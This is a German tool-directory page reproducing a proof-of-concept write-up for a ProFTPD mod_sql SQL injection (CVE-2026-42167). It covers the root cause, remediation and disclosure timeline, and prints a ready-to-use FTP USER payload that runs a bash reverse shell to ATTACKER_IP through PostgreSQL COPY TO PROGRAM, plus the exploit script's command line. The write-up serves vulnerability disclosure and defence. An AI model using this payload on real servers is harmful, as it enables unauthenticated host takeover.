Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/sl4ck0th/cve-2026-42167-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubsl4ck0th/cve-2026-42167-poc

CVE-2026-42167-PoC

# Pre-Auth RCE in ProFTPD über mod_sql is_escaped_text()-Umgehung (CVE-2026-42167)

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-42167 POC

Pre-Authentification Remote Code Execution in ProFTPD via mod_sql SQL-Injection

Autor: Van Glenndon Enad

Ursprüngliche Entdeckung: ZeroPath

Veröffentlicht: 1. Mai 2026

Schweregrad: Kritisch

CVSS v3.1-Score: 8.1

CVSS v3.1-Vektor: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v2-Score: 7.6

CVSS v2-Vektor: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C

CWE: CWE-89 (SQL-Injection), CWE-78 (OS-Command-Injection)


Inhaltsverzeichnis

  1. Zusammenfassung
  2. Betroffene Software
  3. Beschreibung der Schwachstelle
  4. Ursachenanalyse
  5. Voraussetzungen
  6. Exploit-Kette
  7. Payload-Analyse
  8. Proof of Concept
  9. Auswirkungen
  10. Behebung
  11. Referenzen
  12. Offenlegungszeitplan

Zusammenfassung

CVE-2026-42167 ist eine kritische SQL-Injection-Schwachstelle vor der Authentifizierung im mod_sql-Erweiterungsmodul von ProFTPD. Ein Logikfehler in der Funktion is_escaped_text() ermöglicht es einem nicht authentifizierten Angreifer, die SQL-Zeichen-Escaping zu umgehen, indem er einen USER-Befehl mit einem Wert erstellt, der eine fehlerhafte „bereits maskierte"-Heuristik erfüllt. Das injizierte SQL wird direkt über PQexec() an die Backend-Datenbank übergeben, die gestapelte Abfragen unterstützt.

Wenn die ProFTPD-Datenbankrolle ein PostgreSQL-Superuser ist – eine häufige Fehlkonfiguration in Container-Bereitstellungen – erreicht die Injektion die COPY TO PROGRAM-Direktive von PostgreSQL, was zu nicht authentifizierter Remote Code Execution auf Betriebssystemebene als Systembenutzer postgres führt. Es sind keine Anmeldeinformationen, kein vorheriger Zugriff und keine Benutzerinteraktion erforderlich.


Betroffene Software

KomponenteVersion
ProFTPD≤ 1.3.9
Modulmod_sql + mod_sql_postgres
Behobene Version1.3.9a (veröffentlicht am 27. April 2026)
BackendPostgreSQL (RCE); MySQL / SQLite (nur Auth-Bypass)

ProFTPD ist ein weit verbreiteter Open-Source-FTP-Server. Laut Shodan existieren über 160.000 öffentlich zugängliche ProFTPD-Instanzen im Internet. Das mod_sql-Modul ist in Shared-Hosting-Control-Panels wie cPanel, Plesk, DirectAdmin, Webmin und ISPConfig üblicherweise aktiviert.


Beschreibung der Schwachstelle

Das mod_sql-Modul von ProFTPD unterstützt SQL-basierte Authentifizierung und Aktivitätsprotokollierung. Protokollformatzeichenfolgen können Substitutionsvariablen wie %U (Benutzername), %r (Remote-Host) und %m (FTP-Befehl) enthalten. Diese Variablen werden zur Laufzeit expandiert und in SQL-Abfragen eingefügt, die gegen das konfigurierte Backend ausgeführt werden.

Eine typische anfällige Konfiguration:

root@kitploit:~
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c

SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity

In dieser Konfiguration wird der im FTP-USER-Befehl gelieferte Wert für %U substituiert und direkt in eine SQL-INSERT-Anweisung aufgenommen. Vor dem Einfügen wird der Wert durch is_escaped_text() geleitet, um zu bestimmen, ob ein Escaping erforderlich ist. Diese Funktion enthält einen kritischen logischen Fehler.


Ursachenanalyse

Die fehlerhafte Funktion is_escaped_text()

Die Funktion befindet sich in contrib/mod_sql.c und wendet die folgende Heuristik an, um zu entscheiden, ob eine Zeichenfolge „bereits maskiert" ist:

root@kitploit:~
static int is_escaped_text(const char *s) {
  size_t slen = strlen(s);

  /* Assume the string is escaped if:
   *   1. It starts with a single quote
   *   2. It ends with a single quote
   *   3. It contains no internal single quotes
   */
  if (slen >= 2 &&
      s[0] == '\'' &&
      s[slen - 1] == '\'' &&
      strchr(s + 1, '\'') == (s + slen - 1)) {
    return TRUE;  /* skip escaping */
  }
  return FALSE;
}

Wenn diese Funktion TRUE zurückgibt, fügt sql_resolved_append_text() (Zeile 777) den rohen, nicht maskierten Wert direkt in die Abfragezeichenfolge ein. Der Wert wird dann von PQexec() in contrib/mod_sql_postgres.c (Zeile 1146) ausgeführt, das gestapelte (Multi-Statement-)Abfragen unterstützt.

Warum die Heuristik versagt

Die Heuristik sollte wahrscheinlich Zeichenfolgen erkennen, die bereits von SQL-String-Trennzeichen umgeben sind. Sie versucht jedoch nicht zu überprüfen, ob der innere Inhalt sicher ist – nur, dass keine zusätzlichen einfachen Anführungszeichen vorhanden sind. Das bedeutet, dass jede Payload, die:

  • Mit ' beginnt
  • Mit ' endet
  • Intern keine einfachen Anführungszeichen verwendet (z. B. stattdessen PostgreSQL-$$-Dollar-Quoting verwendet)

...die Prüfung besteht und unverändert in die SQL-Abfrage injiziert wird.

Injektionsablauf

root@kitploit:~
FTP Client                ProFTPD                  PostgreSQL
    │                         │                         │
    │── USER '<payload>'  ──▶ │                         │
    │                         │ expand %U = '<payload>' │
    │                         │ is_escaped_text() = TRUE│
    │                         │ skip escaping           │
    │                         │── INSERT INTO activity  │
    │                         │   VALUES ('<payload>',  │
    │                         │   ...) ──────────────▶  │
    │                         │                         │ execute stacked SQL
    │                         │                         │ COPY TO PROGRAM
    │                         │                         │── shell command ──▶ OS

Voraussetzungen

AnforderungHinweise
mod_sql mit SQL-Protokollierung aktiviertMuss eine Pre-Auth-Variable wie %U protokollieren
PostgreSQL-BackendErforderlich für COPY TO PROGRAM RCE; MySQL/SQLite erlauben weiterhin Auth-Bypass
DB-Rolle ist PostgreSQL-SuperuserCOPY TO PROGRAM ist auf Superuser oder Mitglieder von pg_execute_server_program beschränkt
bash auf dem DB-Host verfügbarErforderlich für /dev/tcp-Reverse-Shell-Zustellung
NetzwerkerreichbarkeitDer PostgreSQL-Container muss den Angreifer auf dem Listener-Port erreichen können

Die Superuser-Bedingung ist in Container-Bereitstellungen häufig erfüllt, wenn der ProFTPD-DB-Benutzer über POSTGRES_USER=... im offiziellen PostgreSQL-Docker-Image erstellt wird oder wenn ein Administrator der ProFTPD-Rolle den Besitz der Datenbank gewährt.


Exploit-Kette

root@kitploit:~
Schritt 1: Angreifer sendet manipulierten USER-Befehl (Pre-Auth, keine Anmeldeinformationen erforderlich)
        │
        ▼
Schritt 2: ProFTPD expandiert %U mit dem vom Angreifer kontrollierten Wert
        │
        ▼
Schritt 3: is_escaped_text()-Bypass — rohes SQL passiert unescaped
        │
        ▼
Schritt 4: PQexec() führt gestapelte Abfrage gegen PostgreSQL aus
        │
        ▼
Schritt 5: COPY TO PROGRAM führt Angreifer-Shell-Befehl als postgres-OS-Benutzer aus
        │
        ▼
Schritt 6: Reverse Shell / Datei-Exfiltration wird an den Angreifer geliefert

Payload-Analyse

Die Injektions-Payload wird über den FTP-USER-Befehl geliefert:

root@kitploit:~
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'

Verifizierung der Bypass-Bedingung

BedingungErfüllt?Grund
Beginnt mit '✅Erstes Zeichen ist '
Endet mit '✅Letztes Zeichen ist '
Keine inneren einfachen Anführungszeichen✅Innere Zeichenfolgen verwenden $$-Dollar-Quoting

Payload-Aufschlüsselung

SegmentZweck
', null, null);Schließt die ursprüngliche INSERT-Anweisung sauber ab
COPY (SELECT $$x$$) TO PROGRAMGestapelte Abfrage mit PostgreSQL COPY TO PROGRAM
$$bash -c ...$$Shell-Befehl mit $$-Dollar-Quoting zur Vermeidung einfacher Anführungszeichen
; --'Beendet die gestapelte Abfrage; --' kommentiert den Rest aus und liefert das schließende ' für den Bypass

Proof of Concept

Warnung: Dieser PoC dient ausschließlich Bildungs- und autorisierten Testzwecken. Verwenden Sie ihn nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.

Beispielverwendung:

root@kitploit:~
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT

Auswirkungen

KategorieBeschreibung
VertraulichkeitVoller Lesezugriff auf das Dateisystem als postgres-OS-Benutzer
IntegritätMöglichkeit zum Schreiben von Dateien, Ändern von Datenbankinhalten, Installieren von Backdoors
VerfügbarkeitDienstunterbrechung, Datenzerstörung möglich
AuthentifizierungAusnutzbar mit null Anmeldeinformationen vor der Authentifizierung
UmfangErstreckt sich über ProFTPD hinaus auf den zugrunde liegenden PostgreSQL-Host

Jedes System, auf dem ProFTPD zusammen mit einer PostgreSQL-Instanz betrieben wird oder Superuser-Zugriff darauf hat, ist von einer vollständigen Host-Kompromittierung bedroht. Laterale Bewegung zu angrenzenden Systemen und Persistenz über Cron-Jobs oder SSH-Key-Injektion sind nach der Ausnutzung trivial erreichbar.


Behebung

Sofortmaßnahme

  • Upgrade von ProFTPD auf Version 1.3.9a oder neuer – der Fix patcht is_escaped_text() mit ordnungsgemäßer Behandlung parametrisierter Abfragen

Wenn ein Upgrade nicht sofort möglich ist

  • Deaktivieren Sie die mod_sql-basierte Protokollierung vollständig (entfernen Sie SQLLog-Direktiven)
  • Entfernen Sie Pre-Auth-Protokollierungsvariablen (%U, %r, %m) aus SQLNamedQuery-Definitionen

Defense in Depth

  • Stellen Sie sicher, dass die ProFTPD-Datenbankrolle kein PostgreSQL-Superuser ist (Prinzip der geringsten Privilegien)
  • Beschränken Sie die DB-Rolle nur auf INSERT auf die Protokolltabelle und SELECT auf die Auth-Tabelle
  • Platzieren Sie ProFTPD und PostgreSQL nach Möglichkeit in getrennten Netzwerksegmenten
  • Überwachen Sie FTP-Protokolle auf USER-Befehle mit einfachen Anführungszeichen, COPY, PROGRAM oder SQL-Schlüsselwörtern

Offenlegungszeitplan

DatumEreignis
28. März 2026Schwachstelle an ProFTPD-Maintainer gemeldet
7. April 2026Patch-Verifizierung begonnen
24. April 2026CVE-2026-42167 zugewiesen
27. April 2026Fix committet; ProFTPD 1.3.9a veröffentlicht
28. April 2026Auf NVD veröffentlicht
28.–29. April 2026Öffentliche PoC-Repositories auf GitHub veröffentlicht
1. Mai 2026Unabhängige Analyse und vereinfachter PoC veröffentlicht

Referenzen

  • NVD — CVE-2026-42167
  • ZeroPath Research Blog — CVE-2026-42167 Auth Bypass and RCE in ProFTPD
  • ZeroPathAI — Offizielles PoC-Repository
  • dinosn — Unabhängige Ursachenanalyse
  • ProFTPD Issue #2052 — SQL injection via mod_sql is_escaped_text
  • CVEFeed.io — CVE-2026-42167

Rechtlicher Hinweis: Diese Analyse und der Proof of Concept werden ausschließlich zu Bildungs-, Forschungs- und defensiven Sicherheitszwecken veröffentlicht. Der Autor befürwortet keinen unbefugten Zugriff auf Computersysteme. Holen Sie immer eine ausdrückliche schriftliche Genehmigung ein, bevor Sie Sicherheitstests gegen Systeme durchführen, die Sie nicht besitzen.

Tool herunterladen